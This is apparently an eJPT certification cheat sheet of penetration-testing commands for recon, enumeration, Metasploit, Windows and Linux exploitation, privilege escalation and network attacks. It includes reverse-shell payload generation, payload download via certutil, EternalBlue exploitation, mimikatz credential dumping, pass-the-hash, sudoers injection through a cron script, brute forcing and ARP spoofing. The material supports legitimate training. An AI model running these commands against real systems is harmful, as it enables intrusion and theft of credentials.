📜 eJPT Cheat Sheet

Networking

```
# Routing

# Linux
ip route

# Windows
route print

# Mac OS X / Linux
netstat -r
```

```
# IP

# Linux
ip a
ip -br -c a

# Windows
ipconfig /all

# Mac OS X / Linux
ifconfig
```

```
# ARP

# Linux
ip neighbour

# Windows
arp -a

# Mac OS X / Linux
arp
```

```
# PORTS

# Linux
netstat -tunp
netstat -tulpn
ss -tnl

# Windows
netstat -ano

# Mac OS X / Linux
netstat -p tcp -p udp
lsof -n -i4TCP -i4UDP
```

```
# Connect
nc -v example.com 80

openssl s_client -connect <HOST>:<PORT>
openssl s_client -connect <HOST>:<PORT> -debug
openssl s_client -connect <HOST>:<PORT> -state
openssl s_client -connect <HOST>:<PORT> -quiet

# Scan port
nc -zv <HOST> <PORT>
```

Information Gathering

```
# Passive
host <HOST>
whatweb <HOST>
whois <HOST>
whois <IP>

dnsrecon -d <HOST>

wafw00f -l
wafw00f <HOST> -a

sublist3r -d <HOST>
theHarvester -d <HOST>
theHarvester -d <HOST> -b all
```

```
# Google Dorks
site:
inurl:
site:*.sitename.com
intitle:
filetype:
intitle:index of
cache:
inurl:auth_user_file.txt
inurl:passwd.txt
inurl:wp-config.bak
```

```
# DNS
sudo nano /etc/hosts
dnsenum <HOST>
# e.g. dnsenum zonetransfer.me

dig <HOST>
dig axfr @DNS-server-name <HOST>

fierce --domain <HOST>
```

```
# HOST DISCOVERY
```

```
## Ping scan
sudo nmap -sn <TARGET_IP/NETWORK>
## ARP scan
netdiscover -i eth1 -r <TARGET_IP/NETWORK>

# NMAP PORT SCAN
nmap <TARGET_IP>
## Skip ping
nmap -Pn <TARGET_IP>
## Scan all ports
nmap -p- <TARGET_IP>
## Port 80 only scan
nmap -p 80 <TARGET_IP>
## Custom list of ports scan
nmap -p 80,445,3389,8080 <TARGET_IP>
## Custom ports range scan
nmap -p1-2000 <TARGET_IP>
## Fast mode & verbose scan
nmap -F <TARGET_IP> -v
## UDP scan
nmap -sU <TARGET_IP>
## Service scan
nmap -sV <TARGET_IP>
## Service + O.S. detection scan
sudo nmap -sV -O <TARGET_IP>
## Default Scripts scan
nmap -sC <TARGET_IP>
nmap -Pn -F -sV -O -sC <TARGET_IP>
## Aggressive scan
nmap -Pn -F -A <TARGET_IP>
## Timing (T0=slow ... T5=insanely fast) scan
nmap -Pn -F -T5 -sV -O -sC <TARGET_IP> -v
## Output scan
nmap -Pn -F -oN outputfile.txt <TARGET_IP>
nmap -Pn -F -oX outputfile.xml <TARGET_IP>
## Output to all formats
nmap -Pn -sV -sC -O -oA outputfile <TARGET_IP>
nmap -Pn -sV -sC -O -oA outputfile <TARGET_IP>
nmap -A -oA outputfile <TARGET_IP>
```

Footprinting & Scanning

```
# NETWORK DISCOVERY
sudo arp-scan -I eth1 <TARGET_IP/NETWORK>
ping <TARGET_IP>
sudo nmap -sn <TARGET_IP/NETWORK>

## fping
fping -I eth1 -g <TARGET_IP/NETWORK> -a
## fping with no "Host Unreachable errors"
fping -I eth1 -g <TARGET_IP/NETWORK> -a fping -I eth1 -g <TARGET_IP/NETWORK> -a 2>/dev/null
```

Enumeration

SMB

```
# NMAP
sudo nmap -p 445 -sV -sC -O <TARGET_IP>
nmap -sU --top-ports 25 --open <TARGET_IP>

nmap -p 445 --script smb-protocols <TARGET_IP>
nmap -p 445 --script smb-security-mode <TARGET_IP>

nmap -p 445 --script smb-enum-sessions <TARGET_IP>
nmap -p 445 --script smb-enum-sessions --script-args smbusername=<USER>,smbpassword=<PW>
<TARGET_IP>

nmap -p 445 --script smb-enum-shares <TARGET_IP>
nmap -p 445 --script smb-enum-shares --script-args smbusername=<USER>,smbpassword=<PW>
<TARGET_IP>

nmap -p 445 --script smb-enum-users --script-args smbusername=<USER>,smbpassword=<PW>
<TARGET_IP>

nmap -p 445 --script smb-server-stats --script-args smbusername=<USER>,smbpassword=<PW>
<TARGET_IP>

nmap -p 445 --script smb-enum-domains--script-args smbusername=<USER>,smbpassword=<PW>
<TARGET_IP>

nmap -p 445 --script smb-enum-groups--script-args smbusername=<USER>,smbpassword=<PW>
<TARGET_IP>

nmap -p 445 --script smb-enum-services --script-args smbusername=<USER>,smbpassword=<PW>
<TARGET_IP>

nmap -p 445 --script smb-enum-shares,smb-ls --script-args smbusername=<USER>,smbpassword=<PW>
<TARGET_IP>

nmap -p 445 --script smb-os-discovery <TARGET_IP>

nmblookup -A <TARGET_IP>
```

```
# SMBMAP
smbmap -u guest -p "" -d . -H <TARGET_IP>

smbmap -u <USER> -p '<PW>' -d . -H <TARGET_IP>

## Run a command
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> -x 'ipconfig'
## List all drives
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> -L
## List dir content
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> -r 'C$'
## Upload a file
```

```
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> --upload '/root/sample_backdoor'
'C$\sample_backdoor'
## Download a file
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> --download 'C$\flag.txt'
```

```
# SMB Connection
smbclient -L <TARGET_IP> -N
smbclient -L <TARGET_IP> -U <USER>
smbclient //<TARGET_IP>/<USER> -U <USER>
smbclient //<TARGET_IP>/admin -U admin
smbclient //<TARGET_IP>/public -N
## SMBCLIENT
help
ls
get <filename>

rpcclient -U "" -N <TARGET_IP>
## RPCCLIENT
enumdomusers
enumdomgroups
lookupnames admin
```

```
# ENUM4LINUX
enum4linux -o <TARGET_IP>
enum4linux -U <TARGET_IP>
enum4linux -S <TARGET_IP>
enum4linux -G <TARGET_IP>
enum4linux -i <TARGET_IP>
enum4linux -r -u "<USER>" -p "<PW>" <TARGET_IP>
enum4linux -a -u "<USER>" -p "<PW>" <TARGET_IP>
```

```
# HYDRA
gzip -d /usr/share/wordlists/rockyou.txt.gz

hydra -l admin -P /usr/share/wordlists/rockyou.txt <TARGET_IP> smb
```

```
# METASPLOIT
msfconsole
msfconsole -q

# METASPLOIT SMB
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/smb/smb_enumusers
use auxiliary/scanner/smb/smb_enumshares
use auxiliary/scanner/smb/smb_login
use auxiliary/scanner/smb/pipe_auditor

## set options depends on the selected module
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
set SMBUser <USER>
set RHOSTS <TARGET_IP>
exploit
```

FTP

```
# NMAP
sudo nmap -p 21 -sV -sC -O <TARGET_IP>
nmap -p 21 -sV -O <TARGET_IP>

nmap -p 21 --script ftp-anon <TARGET_IP>
nmap -p 21 --script ftp-brute --script-args userdb=<USERS_LIST> <TARGET_IP>
```

```
# FTP
ftp <TARGET_IP>
## FTP client
ls
get <filename>
```

```
# HYDRA
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P
/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <TARGET_IP> -t 4 ftp
```

SSH

```
# NMAP
sudo nmap -p 22 -sV -sC -O <TARGET_IP>

nmap -p 22 --script ssh2-enum-algos <TARGET_IP>
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full <TARGET_IP>
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=<USER>" <TARGET_IP>

nmap -p 22 --script=ssh-run --script-args="ssh-run.cmd=cat /home/student/FLAG, ssh-
run.username=<USER>, ssh-run.password=<PW>" <TARGET_IP>

nmap -p 22 --script=ssh-brute --script-args userdb=<USERS_LIST> <TARGET_IP>
```

```
# NETCAT
nc <TARGET_IP> <TARGET_PORT>
nc <TARGET_IP> 22
```

```
# SSH
ssh <USER>@<TARGET_IP> 22
ssh root@<TARGET_IP> 22
```

```
# HYDRA
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt <TARGET_IP> ssh
```

```
# METASPLOIT SSH
use auxiliary/scanner/ssh/ssh_login

set RHOSTS <TARGET_IP>
set USERPASS_FILE /usr/share/wordlists/metasploit/root_userpass.txt
set STOP_ON_SUCCESS true
set VERBOSE true
exploit
```

HTTP

```
# NMAP
sudo nmap -p 80 -sV -O <TARGET_IP>

nmap -p 80 --script=http-enum -sV <TARGET_IP>
nmap -p 80 --script=http-headers -sV <TARGET_IP>
nmap -p 80 --script=http-methods --script-args http-methods.url-path=/webdav/ <TARGET_IP>
nmap -p 80 --script=http-webdav-scan --script-args http-methods.url-path=/webdav/ <TARGET_IP>
```

```
whatweb <TARGET_IP>
http <TARGET_IP>
browsh --startup-url http://<TARGET_IP>

dirb http://<TARGET_IP>
dirb http://<TARGET_IP> /usr/share/metasploit-framework/data/wordlists/directory.txt

wget <TARGET_IP>
curl <TARGET_IP> | more
curl -I http://<TARGET_IP>/<DIR>
curl --digest -u <USER>:<PW> http://<TARGET_IP>/<DIR>

lynx <TARGET_IP>
```

```
# METASPLOIT HTTP
use auxiliary/scanner/http/brute_dirs
use auxiliary/scanner/http/robots_txt
use auxiliary/scanner/http/http_header
use auxiliary/scanner/http/http_login
use auxiliary/scanner/http/http_version

# Global set
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>

## set options depends on the selected module
set HTTP_METHOD GET
set TARGETURI /<DIR>/

set USER_FILE <USERS_LIST>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
set AUTH_URI /<DIR>/
```

```
exploit
```

SQL

```
# NMAP
sudo nmap -p 3306 -sV -O <TARGET_IP>

nmap -p 3306 --script=mysql-empty-password <TARGET_IP>
nmap -p 3306 --script=mysql-info <TARGET_IP>
nmap -p 3306 --script=mysql-users --script-args="mysqluser='<USER>',mysqlpass='<PW>'"
<TARGET_IP>
nmap -p 3306 --script=mysql-databases --script-args="mysqluser='<USER>',mysqlpass='<PW>'"
<TARGET_IP>
nmap -p 3306 --script=mysql-variables --script-args="mysqluser='<USER>',mysqlpass='<PW>'"
<TARGET_IP>

nmap -p 3306 --script=mysql-audit --script-args="mysql-audit.username='<USER>',mysql-
audit.password='<PW>',mysql-audit.filename=''" <TARGET_IP>

nmap -p 3306 --script=mysql-dump-hashes --script-args="username='<USER>',password='<PW>'"
<TARGET_IP>

nmap -p 3306 --script=mysql-query --script-args="query='select count(*) from <DB_NAME>.
<TABLE_NAME>;',username='<USER>',password='<PW>'" <TARGET_IP>

## Microsoft SQL
nmap -sV -sC -p 1433 <TARGET_IP>

nmap -p 1433 --script ms-sql-info <TARGET_IP>
nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 <TARGET_IP>
nmap -p 1433 --script ms-sql-empty-password <TARGET_IP>

nmap -p 3306 --script ms-sql-brute --script-args
userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-
passwords.txt <TARGET_IP>

nmap -p 3306 --script ms-sql-query --script-args mssql.username=<USER>,mssql.password=<PW>,ms-
sql-query.query="SELECT * FROM master..syslogins" <TARGET_IP> -oN output.txt

nmap -p 3306 --script ms-sql-dump-hashes --script-args mssql.username=<USER>,mssql.password=
<PW> <TARGET_IP>

nmap -p 3306 --script ms-sql-xp-cmdshell --script-args mssql.username=<USER>,mssql.password=
<PW>,ms-sql-xp-cmdshell.cmd="ipconfig" <TARGET_IP>

nmap -p 3306 --script ms-sql-xp-cmdshell --script-args mssql.username=<USER>,mssql.password=
<PW>,ms-sql-xp-cmdshell.cmd="type c:\flag.txt" <TARGET_IP>
```

```
# MYSQL
mysql -h <TARGET_IP> -u <USER>
mysql -h <TARGET_IP> -u root

# Mysql client
help
show databases;
use <DB_NAME>;
select count(*) from <TABLE_NAME>;
select load_file("/etc/shadow");
```

```
# HYDRA
hydra -l <USER> -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
<TARGET_IP> mysql
```

```
# METASPLOIT MYSQL
use auxiliary/scanner/mysql/mysql_schemadump
use auxiliary/scanner/mysql/mysql_writable_dirs
use auxiliary/scanner/mysql/mysql_file_enum
use auxiliary/scanner/mysql/mysql_hashdump
use auxiliary/scanner/mysql/mysql_login

## MS Sql
use auxiliary/scanner/mssql/mssql_login
use auxiliary/admin/mssql/mssql_enum
use auxiliary/admin/mssql/mssql_enum_sql_logins
use auxiliary/admin/mssql/mssql_exec
use auxiliary/admin/mssql/mssql_enum_domain_accounts

# Global set
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>

## set options depends on the selected module
set USERNAME root
set PASSWORD ""

set DIR_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
set VERBOSE false
set PASSWORD ""

set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
set PASSWORD ""

set USER_FILE /root/Desktop/wordlist/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
set STOP_ON_SUCCESS true

set CMD whoami
exploit
```

SMTP

```
# NMAP
sudo nmap -p 25 -sV -sC -O <TARGET_IP>

nmap -sV -script banner <TARGET_IP>
```

```
nc <TARGET_IP> 25
telnet <TARGET_IP> 25

# TELNET client - check supported capabilities
HELO attacker.xyz
EHLO attacker.xyz
```

```
smtp-user-enum -U /usr/share/commix/src/txt/usernames.txt -t <TARGET_IP>
```

```
# METASPLOIT
service postgresql start && msfconsole -q

# Global set
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>

use auxiliary/scanner/smtp/smtp_enum
```

Vulnerability Assessment

```
# HEARTBLEED
nmap -sV --script ssl-enum-ciphers -p <SECURED_PORT> <TARGET>
nmap -sV --script ssl-heartbleed -p 443 <TARGET_IP>

# ETERNALBLUE
nmap --script smb-vuln-ms17-010 -p 445 <TARGET_IP>

# BLUEKEEP
msfconsole
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

# LOG4J
nmap --script log4shell.nse --script-args log4shell.callback-server=<CALLBACK_SERVER_IP>:1389
-p 8080 <TARGET_IP>
```

```
searchsploit badblue 2.7
```

Host Based Attacks

Windows Exploitation

IIS WEBDAV

```
# IIS WEBDAV
davtest -url <URL>
davtest -auth <USER>:<PW> -url http://<TARGET_IP>/webdav

cadaver [OPTIONS] <URL>

nmap -p 80 --script http-enum -sV <TARGET_IP>
```

```
msfvenom -p <PAYLOAD> LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -f <file_type> > shell.asp

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -f asp >
shell.asp
```

```
hydra -L /usr/share/wordlists/metasploit/common_users.txt -P
/usr/share/wordlists/metasploit/common_passwords.txt <TARGET_IP> http-get /webdav/
```

```
## METASPLOIT
# Global set
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>

use exploit/multi/handler
use exploit/windows/iis/iis_webdav_upload_asp

set payload windows/meterpreter/reverse_tcp
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>

set HttpUsername <USER>
set HttpPassword <PW>
set PATH /webdav/metasploit.asp
```

SMB

```
# SMB
nmap -p 445 -sV -sC <TARGET_IP>

nmap --script smb-vuln-ms17-010 -p 445 <TARGET_IP>
```

```
## METASPLOIT
# Global set
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>

use auxiliary/scanner/smb/smb_login
```

```
use exploit/windows/smb/psexec
use exploit/windows/smb/ms17_010_eternalblue

set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false

set SMBUser <USER>
set SMBPass <PW>
```

```
psexec.py <USER>@<TARGET_IP> cmd.exe
```

```
## Manual Exploit - AutoBlue
cd
mkdir tools
cd /home/kali/tools
sudo git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
cd AutoBlue-MS17-010
pip install -r requirements.txt

cd shellcode
chmod +x shell_prep.sh
./shell_prep.sh
# LHOST = Host Kali Linux IP
# LPORT = Port Kali will listen for the reverse shell

nc -nvlp 1234 # On attacker VM

cd ..
chmod +x eternalblue_exploit7.py
python eternalblue_exploit7.py <TARGET_IP> shellcode/sc_x64.bin
```

RDP

```
# RDP
nmap -sV <TARGET_IP>
```

```
## METASPLOIT
# Global set
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>

use auxiliary/scanner/rdp/rdp_scanner
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep

set RPORT <PORT>

# ! Kernel crash may be caused !
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

show targets
set target <NUMBER>
```

```
set GROOMSIZE 50
```

```
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P
/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://<TARGET_IP> -s <PORT>
```

```
xfreerdp /u:<USER> /p:<PW> /v:<TARGET_IP>:<PORT>

xfreerdp /u:<USER> /p:<PW> /v:<TARGET_IP>:<PORT> /w:1920 /h:1080 /fonts /smart-sizing
```

WINRM

```
# WINRM
crackmapexec [OPTIONS]
evil-winrm -i <IP> -u <USER> -p <PASSWORD>

nmap --top-ports 7000 <TARGET_IP>
nmap -sV -p 5985 <TARGET_IP>
```

```
crackmapexec winrm <TARGET_IP> -u <USER> -p /usr/share/metasploit-
framework/data/wordlists/unix_passwords.txt

crackmapexec winrm <TARGET_IP> -u <USER> -p <PW> -x "whoami"
crackmapexec winrm <TARGET_IP> -u <USER> -p <PW> -x "systeminfo"
```

```
# Command Shell
evil-winrm.rb -u <USER> -p '<PW>' -i <TARGET_IP>
```

```
## METASPLOIT
# Global set
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>

use exploit/windows/winrm/winrm_script_exec

set USERNAME <USER>
set PASSWORD <PW>
set FORCE_VBS true
```

Windows Privilege Escalation

Kernel

```
# WIN KERNEL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -f
exe -o payload.exe

python3 -m http.server
# Download payload.exe on target
```

```
## Windows-Exploit-Suggester Install
mkdir Windows-Exploit-Suggester
cd Windows-Exploit-Suggester
wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-
Suggester/f34dcc186697ac58c54ebe1d32c7695e040d0ecb/windows-exploit-suggester.py
# ^^ This is a python3 version of the script

cd Windows-Exploit-Suggester
python ./windows-exploit-suggester.py --update
pip install xlrd --upgrade

./windows-exploit-suggester.py --database YYYY-MM-DD-mssb.xlsx --systeminfo win7sp1-
systeminfo.txt

./windows-exploit-suggester.py --database YYYY-MM-DD-mssb.xlsx --systeminfo win2008r2-
systeminfo.txt
```

```
## METASPLOIT
## Global set
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>

use exploit/multi/handler
options
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>

use post/multi/recon/local_exploit_suggester
set SESSION <HANDLER_SESSION_NUMBER>

## MsfConsole Meterpreter Privesc
getprivs
getsystem

# Exploitable vulnerabilities modules
exploit/windows/local/bypassuac_dotnet_profiler
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_sdclt
exploit/windows/local/cve_2019_1458_wizardopium
exploit/windows/local/cve_2020_1054_drawiconex_lpe
exploit/windows/local/ms10_092_schelevator
exploit/windows/local/ms14_058_track_popup_menu
exploit/windows/local/ms15_051_client_copy_image
exploit/windows/local/ms16_014_wmi_recv_notif
```

UAC

```
# UAC - UACME

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -f
exe > backdoor.exe

## METASPLOIT - Listening
```

```
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>

## Meterpreter (Unprivileged session)
cd C:\\
mkdir Temp
cd Temp
upload /root/backdoor.exe
upload /root/Desktop/tools/UACME/Akagi64.exe
shell
Akagi64.exe 23 C:\Temp\backdoor.exe

akagi32.exe [Key] [Param]
akagi64.exe [Key] [Param]

## Elevated Meterpreter Received on the listening session
ps -S lsass.exe
migrate <lsass_PID>
hashdump
```

Access Token

```
# ACCESS TOKEN IMPERSONATION

## METASPLOIT - Meterpreter (Unprivileged session)
pgrep explorer
migrate <explorer_PID>
getuid
getprivs

load incognito
list_tokens -u
impersonate_token "ATTACKDEFENSE\Administrator"
getuid
getprivs # Access Denied
pgrep explorer
migrate <explorer_PID>
getprivs
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
```

Windows Credential Dumping

```
# Exploitation
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<TARGET_IP> LPORT=1234 -f exe >
payload.exe

python -m SimpleHTTPServer 80
```

```
## METASPLOIT
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>
run

## On target system
certutil -urlcache -f http://<TARGET_IP>/payload.exe payload.exe
# Run payload.exe

# METASPLOIT - Meterpreter
sysinfo
getuid
pgrep lsass
migrate <explorer_PID>
getprivs

# Creds dumping - Meterpreter
load kiwi
creds_all
lsa_dump_sam
lsa_dump_secrets

# MIMIKATZ
cd C:\\
mkdir Temp
cd Temp
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
shell

mimikatz.exe
privilege::debug
lsadump::sam
lsadump::secrets
sekurlsa::logonPasswords

# PASS THE HASH
## sekurlsa::logonPasswords
background
search psexec
use exploit/windows/smb/psexec
set LPORT <LOCAL_PORT2>
set SMBUser Administrator
set SMBPass <ADMINISTRATOR_LM:NTLM_HASH>
exploit
```

```
crackmapexec smb <TARGET_IP> -u Administrator -H "<NTLM_HASH>" -x "whoami"
```

Linux Exploitation

Shellshock

```
# BASH - APACHE
nmap -sV --script=http-shellshock --script-args "http-shellshock.uri=/gettime.cgi" <TARGET_IP>
```

```
## METASPLOIT
# Global set
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <TARGET_IP>
set TARGETURI /gettime.cgi
exploit
```

FTP

```
# FTP
ftp <TARGET_IP>

ls -lah /usr/share/nmap/scripts | grep ftp-*
searchsploit ProFTPD
```

```
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P
/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <TARGET_IP> -t 4 ftp
```

SSH

```
# SSH
ssh <USER>@<TARGET_IP>

groups sysadmin
cat /etc/*release
uname -r
cat /etc/passwd
find / -name "flag"
```

```
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P
/usr/share/metasploit-framework/data/wordlists/common_passwords.txt <TARGET_IP> -t 4 ssh
```

SAMBA

```
# SAMBA
smbmap -u <USER> -p '<PW>' -H <TARGET_IP>

smbclient -L <TARGET_IP> -U <USER>

enum4linux -a <TARGET_IP>
enum4linux -a -u "<USER>" -p "<PW>" <TARGET_IP>
```

```
hydra -l admin -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
<TARGET_IP> smb
```

Linux Privilege Escalation

Kernel

```
# LINUX KERNEL
## Linux-Exploit-Suggester Install
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-
suggester.sh -O linux-exploit-suggester.sh

chmod +x linux-exploit-suggester.sh

./linux-exploit-suggester.sh
```

Cron Jobs

```
# CRON
crontab -l

find / -name <CRONJOB_SCRIPT>

printf '#!/bin/bash\necho "<USER> ALL=NOPASSWD:ALL" >> /etc/sudoers' >
/usr/local/share/<CRONJOB_SCRIPT>
```

SUID

```
# SUID
file <FILE>
strings <FILE>
    # find called binary
rm <BINARY>
cp /bin/bash <BINARY>
./<FILE>
```

Linux Credential Dumping

```
cat /etc/passwd
sudo cat /etc/shadow

# METASPLOIT (once exploited)
use post/linux/gather/hashdump
set SESSION <NUMBER>

use auxiliary/analyze/crack_linux
set SHA512 true
```

Network Based Attacks

```
wireshark -i eth1

# TSHARK
tshark -D
tshark -i eth1
tshark -r <FILE>.pcap
tshark -r <FILE>.pcap | wc -l

# First 100 packets
tshark -r <FILE>.pcap -c 100

# Protocl hierarchy statistics
tshark -r <FILE>.pcap -z io,phs -q

# HTTP traffic
tshark -r <FILE>.pcap -Y 'http' | more
tshark -r <FILE>.pcap -Y "ip.src==<SOURCE_IP> && ip.dst==<DEST_IP>"

# Only GET requests
tshark -r <FILE>.pcap -Y "http.request.method==GET"

# Packets with frame time, source IP and URL for all GET requests
tshark -r <FILE>.pcap -Y "http.request.method==GET" -Tfields -e frame.time -e ip.src -e
http.request.full_uri

# Packets with a string
tshark -r <FILE>.pcap -Y "http contains password"

# Check destination IP
tshark -r <FILE>.pcap -Y "http.request.method==GET && http.host==<TARGET_URL>" -Tfields -e
ip.dst

# Check session ID
tshark -r <FILE>.pcap -Y "ip contains amazon.in && ip.src==<IP>" -Tfields -e ip.src -e
http.cookie

# Check OS/User Agent type
tshark -r <FILE>.pcap -Y "ip.src==<IP> && http" -Tfields -e http.user_agent

# WiFi traffic filter
```

```
tshark -r <FILE>.pcap -Y "wlan"

# Only deauthentication packets
tshark -r <FILE>.pcap -Y "wlan.fc.type_subtype==0x000c"
# and devices
tshark -r <FILE>.pcap -Y "wlan.fc.type_subtype==0x000c" -Tfields -e wlan.ra

# Only WPA handshake packets
tshark -r <FILE>.pcap -Y "eapol"

# Onyl SSID/BSSID
tshark -r <FILE>.pcap -Y "wlan.fc.type_subtype==8" -Tfields -e wlan.ssid -e wlan.bssid

tshark -r <FILE>.pcap -Y "wlan.ssid==<SSID>" -Tfields -e wlan.bssid

# WiFi Channel
tshark -r <FILE>.pcap -Y "wlan.ssid==<SSID>" -Tfields -e wlan_radio.channel

# Vendor & model
tshark -r <FILE>.pcap -Y "wlan.ta==<DEVICE_MAC> && http" -Tfields -e http.user_agent
```

```
# ARP POISONING - arpspoof

## Forward IP packets
echo 1 > /proc/sys/net/ipv4/ip_forward

arpspoof -i eth1 -t <TARGET_IP> -r <HOST_IP>
```

Metasploit

```
# MSF Install
sudo apt update && sudo apt install metasploit-framework -y
sudo systemctl enable postgresql
sudo systemctl restart postgresql
sudo msfdb init

ls /usr/share/metasploit-framework
ls ~/.msf4/modules
```

```
service postgresql start && msfconsole -q
```

```
# msfconsole
db_status
help
version

show -h
show all
show exploits

search <STRING>
search cve:2017 type:exploit platform:windows
use <MODULE_NAME>
```

```
set <OPTION>
run
execute # same as run

sessions
# Switch between sessions Ids with
sessions 1
# Rename sessions
sessions -n xoda -i 1
# Run a Meterpreter Command on the session given with `-i`
sessions -C sysinfo -i 1
# Terminate a specific session
sessions -k 1
# Terminate all sessions
sessions -K
# Upgrade a shell session to a Meterpreter session
sessions -u 1

connect

## Workspaces - db_status must be connected
workspace
workspace -a <NEW_WORSKSPACE>
workspace <WORKSPACE_NAME>
workspace -d <WORKSPACE_NAME>
```

```
# Payload Options
search eternalblue
use 0
# ^^ specify the identifier
set payload <PAYLOAD_NAME>
set RHOSTS <TARGET_IP>
run
# or
exploit
```

Meterpreter

```
# meterpreter > <command>

background
cat
cd
checksum md5 /bin/bash
clearev
download
edit
execute -f ifconfig
getenv
getenv PATH
getuid
hashdump
idletime
ifconfig
```

```
lpwd
ls
migrate
mkdir
ps
pwd
resource <file.txt>
rmdir
search -f *.txt
shell
sysinfo
upload
```

Info Gathering & Enumeration

```
workspace -a <hostname_enum>
# NMAP Export in .XML
nmap -Pn -sV -O <TARGET_IP> -oX <XML_FILE_NAME>

# msfconsole
db_import <XML_FILE_NAME>

hosts
services
vulns
loot
creds
notes

# Nmap inside MSF
db_nmap -Pn -sV -O <TARGET_IP>
```

```
# Port Scan example
workspace -a Port_scan
search portscan
use auxiliary/scanner/portscan/tcp
show options
set RHOSTS <TARGET_IP>
set PORTS 1-1000
run

# Exploitation
search xoda
use exploit/unix/webapp/xoda_file_upload
set RHOSTS <TARGET_IP>
set TARGETURI /
run

# Pivoting to TARGET2 through TARGET1
run autoroute -s <TARGET1_SUBNET_NETWORK>
background
use auxiliary/scanner/portscan/tcp
set RHOSTS <TARGET2_IP>
run
```

```
# UDP Scan
search udp_sweep
use auxiliary/scanner/discovery/udp_sweep
set RHOSTS <TARGET_IP>
run
```

```
# Service Enumeration

# FTP
use auxiliary/scanner/ftp/ftp_version
use auxiliary/scanner/ftp/ftp_login
use auxiliary/scanner/ftp/anonymous

# SMB
use auxiliary/scanner/ftp/anonymous
use auxiliary/scanner/smb/smb_enumusers
use auxiliary/scanner/smb/smb_enumshares
use auxiliary/scanner/smb/smb_login

# HTTP
use auxiliary/scanner/http/apache_userdir_enum
use auxiliary/scanner/http/brute_dirs
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/dir_listing
use auxiliary/scanner/http/http_put
use auxiliary/scanner/http/files_dir
use auxiliary/scanner/http/http_login
use auxiliary/scanner/http/http_header
use auxiliary/scanner/http/http_version
use auxiliary/scanner/http/robots_txt

# MYSQL
use auxiliary/admin/mysql/mysql_enum
use auxiliary/admin/mysql/mysql_sql
use auxiliary/scanner/mysql/mysql_file_enum
use auxiliary/scanner/mysql/mysql_hashdump
use auxiliary/scanner/mysql/mysql_login
use auxiliary/scanner/mysql/mysql_schemadump
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/mysql/mysql_writable_dirs

# SSH
use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/ssh/ssh_login
use auxiliary/scanner/ssh/ssh_enumusers

# SMTP
use auxiliary/scanner/smtp/smtp_enum
use auxiliary/scanner/smtp/smtp_version
```

Vulnerability Scanning

```
# NMAP
db_nmap -sS -sV -O <TARGET_IP>

search type:exploit name:iis
search <SERVICE_NAME_VERSION>

# e.g.
search eternalblue
